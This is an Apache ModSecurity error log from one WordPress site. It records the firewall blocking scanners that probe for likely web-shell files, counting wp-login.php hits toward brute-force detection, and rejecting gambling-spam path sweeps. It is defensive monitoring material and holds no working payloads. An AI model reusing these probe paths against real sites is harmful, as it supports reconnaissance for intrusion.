[Tue Apr 28 06:30:12.181033 2026] [:error] [pid 6746:tid 6771] [client 4.232.90.232:10997] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "ae_jdLuStsbXtMDpzS-cmgAAAVc"]
[Tue Apr 28 06:30:13.230599 2026] [:error] [pid 14578:tid 14617] [client 4.232.90.232:16379] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "ae_jdengo3AwIJgfSHEPjgAAAEQ"]
[Tue Apr 28 06:30:14.159230 2026] [:error] [pid 14578:tid 14634] [client 4.232.90.232:10946] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "ae_jdungo3AwIJgfSHEPkgAAAFU"]
[Tue Apr 28 06:30:14.816498 2026] [:error] [pid 14578:tid 14621] [client 4.232.90.232:25739] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "ae_jdungo3AwIJgfSHEPkwAAAEg"]
[Tue Apr 28 06:30:16.329469 2026] [:error] [pid 56602:tid 56611] [client 4.232.90.232:18788] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "ae_jePCwhMxzNW_lZSw7LAAAAQc"]
[Tue Apr 28 06:30:17.594638 2026] [:error] [pid 14579:tid 14648] [client 4.232.90.232:18778] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "ae_jeRrUiOG83qKKuuD1xQAAAIg"]
[Tue Apr 28 06:30:18.749090 2026] [:error] [pid 14578:tid 14635] [client 4.232.90.232:7570] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "ae_jeungo3AwIJgfSHEPmQAAAFY"]
[Tue Apr 28 06:30:25.225953 2026] [autoindex:error] [pid 6746:tid 6762] [client 4.232.90.232:19101] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:59:31.493384 2026] [:error] [pid 14578:tid 14616] [client 151.240.10.84:58302] [client 151.240.10.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.240.10.84, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae_qU-ngo3AwIJgfSHEkVgAAAEM"]
[Tue Apr 28 10:21:42.189742 2026] [:error] [pid 50889:tid 50913] [client 38.113.191.66:40242] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.113.191.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afAZtozszBr00txEzGizOgAAABU"]
[Tue Apr 28 10:51:31.912701 2026] [:error] [pid 2741:tid 2749] [client 43.159.149.56:53460] [client 43.159.149.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afAgs_p92FeOz1h6ILw4PwAAAUM"]
[Tue Apr 28 11:23:51.003886 2026] [:error] [pid 2741:tid 2769] [client 46.225.100.56:57920] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.225.100.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afAoR_p92FeOz1h6ILxHvAAAAVc"]
[Tue Apr 28 12:02:12.270072 2026] [:error] [pid 2741:tid 2764] [client 36.111.67.189:44667] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afAxRPp92FeOz1h6ILxdzwAAAVI"]
[Tue Apr 28 12:39:36.983420 2026] [:error] [pid 50889:tid 50911] [client 13.235.96.22:49130] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.235.96.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afA6CIzszBr00txEzGjioAAAABM"]
[Tue Apr 28 14:25:52.333947 2026] [:error] [pid 2741:tid 2766] [client 43.133.91.48:39258] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afBS8Pp92FeOz1h6ILyOMgAAAVQ"]
[Tue Apr 28 14:44:02.242028 2026] [:error] [pid 33777:tid 33842] [client 77.65.214.113:43706] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.65.214.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afBXMrXUCFWqmordGGJfHAAAAQc"]
[Tue Apr 28 15:13:31.061877 2026] [:error] [pid 33777:tid 33854] [client 64.92.9.212:57020] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.92.9.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afBeG7XUCFWqmordGGJteQAAARM"]
[Tue Apr 28 18:02:49.846310 2026] [:error] [pid 50889:tid 50906] [client 54.36.179.84:37566] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afCFyYzszBr00txEzGgmuAAAAA4"]
[Tue Apr 28 18:02:52.268392 2026] [:error] [pid 33775:tid 33787] [client 54.36.179.84:58924] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afCFzJsYOcoQrq88YbUeIAAAAMg"]
[Tue Apr 28 18:02:54.636436 2026] [:error] [pid 33777:tid 33853] [client 54.36.179.84:58934] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afCFzrXUCFWqmordGGKqfwAAARI"]
[Tue Apr 28 18:02:56.969347 2026] [:error] [pid 50889:tid 50909] [client 54.36.179.84:37532] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afCF0IzszBr00txEzGgmuQAAABE"]
[Tue Apr 28 18:02:59.279984 2026] [:error] [pid 50889:tid 50916] [client 54.36.179.84:37538] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afCF04zszBr00txEzGgmugAAABg"]
[Tue Apr 28 18:03:01.700815 2026] [:error] [pid 50889:tid 50898] [client 54.36.179.84:37544] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afCF1YzszBr00txEzGgmvAAAAAY"]
[Tue Apr 28 18:03:04.095162 2026] [:error] [pid 33777:tid 33841] [client 54.36.179.84:37552] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afCF2LXUCFWqmordGGKqjAAAAQY"]
[Tue Apr 28 18:03:06.490785 2026] [:error] [pid 33777:tid 33848] [client 54.36.179.84:37558] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afCF2rXUCFWqmordGGKqmAAAAQ0"]
[Tue Apr 28 18:03:08.896581 2026] [:error] [pid 33776:tid 33816] [client 54.36.179.84:54484] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afCF3F-bEJ2CKP3iKAAdWgAAAEg"]
[Tue Apr 28 18:03:11.448280 2026] [:error] [pid 33776:tid 33825] [client 54.36.179.84:54492] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afCF31-bEJ2CKP3iKAAdXQAAAFE"]
[Tue Apr 28 18:03:13.983963 2026] [:error] [pid 33776:tid 33819] [client 54.36.179.84:54502] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afCF4V-bEJ2CKP3iKAAdXgAAAEs"]
[Tue Apr 28 18:03:16.492743 2026] [:error] [pid 33775:tid 33788] [client 54.36.179.84:54510] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afCF5JsYOcoQrq88YbUeJAAAAMk"]
[Tue Apr 28 18:03:19.031835 2026] [:error] [pid 2741:tid 2765] [client 54.36.179.84:60210] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afCF5_p92FeOz1h6ILzNIAAAAVM"]
[Tue Apr 28 18:03:21.427407 2026] [:error] [pid 33776:tid 33824] [client 54.36.179.84:60212] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afCF6V-bEJ2CKP3iKAAdYAAAAFA"]
[Tue Apr 28 18:03:23.944335 2026] [:error] [pid 33777:tid 33846] [client 54.36.179.84:60218] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afCF67XUCFWqmordGGKqpgAAAQs"]
[Tue Apr 28 18:03:26.468198 2026] [:error] [pid 33864:tid 33867] [client 54.36.179.84:60230] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afCF7jXchLGZ4QggCskHKQAAAIE"]
[Tue Apr 28 18:03:28.843428 2026] [:error] [pid 33864:tid 33877] [client 54.36.179.84:37350] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afCF8DXchLGZ4QggCskHLAAAAIs"]
[Tue Apr 28 18:03:31.344052 2026] [:error] [pid 50889:tid 50916] [client 54.36.179.84:37362] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afCF84zszBr00txEzGgm0AAAABg"]
[Tue Apr 28 18:03:33.880126 2026] [:error] [pid 2741:tid 2764] [client 54.36.179.84:37372] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afCF9fp92FeOz1h6ILzNKQAAAVI"]
[Tue Apr 28 18:03:36.249779 2026] [:error] [pid 50889:tid 50901] [client 54.36.179.84:37380] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afCF-IzszBr00txEzGgm0gAAAAk"]
[Tue Apr 28 18:03:38.778541 2026] [:error] [pid 33777:tid 33852] [client 54.36.179.84:37072] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afCF-rXUCFWqmordGGKqrgAAARE"]
[Tue Apr 28 18:43:51.253245 2026] [:error] [pid 2741:tid 2766] [client 125.94.144.102:59311] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afCPZ_p92FeOz1h6ILzXogAAAVQ"]
[Tue Apr 28 20:43:05.994103 2026] [:error] [pid 33776:tid 33821] [client 65.108.125.120:7770] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afCrWV-bEJ2CKP3iKAA2UQAAAE0"]
[Tue Apr 28 20:43:08.464823 2026] [:error] [pid 33777:tid 33859] [client 65.108.125.120:11664] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afCrXLXUCFWqmordGGLo7wAAARg"]
[Tue Apr 28 20:43:17.412301 2026] [:error] [pid 33777:tid 33850] [client 65.108.125.120:11678] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afCrZbXUCFWqmordGGLpBAAAAQ8"]
[Tue Apr 28 20:43:19.740789 2026] [:error] [pid 50889:tid 50906] [client 65.108.125.120:4182] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afCrZ4zszBr00txEzGhLngAAAA4"]
[Tue Apr 28 20:43:22.262975 2026] [:error] [pid 50889:tid 50911] [client 65.108.125.120:4188] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afCraozszBr00txEzGhLoAAAABM"]
[Tue Apr 28 20:43:24.867037 2026] [:error] [pid 33864:tid 33868] [client 65.108.125.120:4202] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afCrbDXchLGZ4QggCskjtQAAAII"]
[Tue Apr 28 20:43:27.470498 2026] [:error] [pid 33864:tid 33887] [client 65.108.125.120:4206] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afCrbzXchLGZ4QggCskjugAAAJU"]
[Tue Apr 28 20:43:30.072901 2026] [:error] [pid 33775:tid 33801] [client 65.108.125.120:63692] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afCrcpsYOcoQrq88YbUwNQAAANY"]
[Tue Apr 28 20:43:32.689750 2026] [:error] [pid 2741:tid 2760] [client 65.108.125.120:63694] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afCrdPp92FeOz1h6ILz4NwAAAU4"]
[Tue Apr 28 20:43:35.304571 2026] [:error] [pid 2741:tid 2752] [client 65.108.125.120:63698] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afCrd_p92FeOz1h6ILz4RAAAAUY"]
[Tue Apr 28 20:43:37.808854 2026] [:error] [pid 2741:tid 2755] [client 65.108.125.120:63710] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afCrefp92FeOz1h6ILz4TgAAAUk"]
[Tue Apr 28 20:43:40.415180 2026] [:error] [pid 33775:tid 33788] [client 65.108.125.120:64396] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afCrfJsYOcoQrq88YbUwNgAAAMk"]
[Tue Apr 28 20:43:42.925834 2026] [:error] [pid 33777:tid 33857] [client 65.108.125.120:64402] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afCrfrXUCFWqmordGGLpLQAAARY"]
[Tue Apr 28 20:43:45.558908 2026] [:error] [pid 33777:tid 33854] [client 65.108.125.120:64408] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afCrgbXUCFWqmordGGLpMQAAARM"]
[Tue Apr 28 20:43:48.057339 2026] [:error] [pid 33777:tid 33859] [client 65.108.125.120:64424] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afCrhLXUCFWqmordGGLpNwAAARg"]
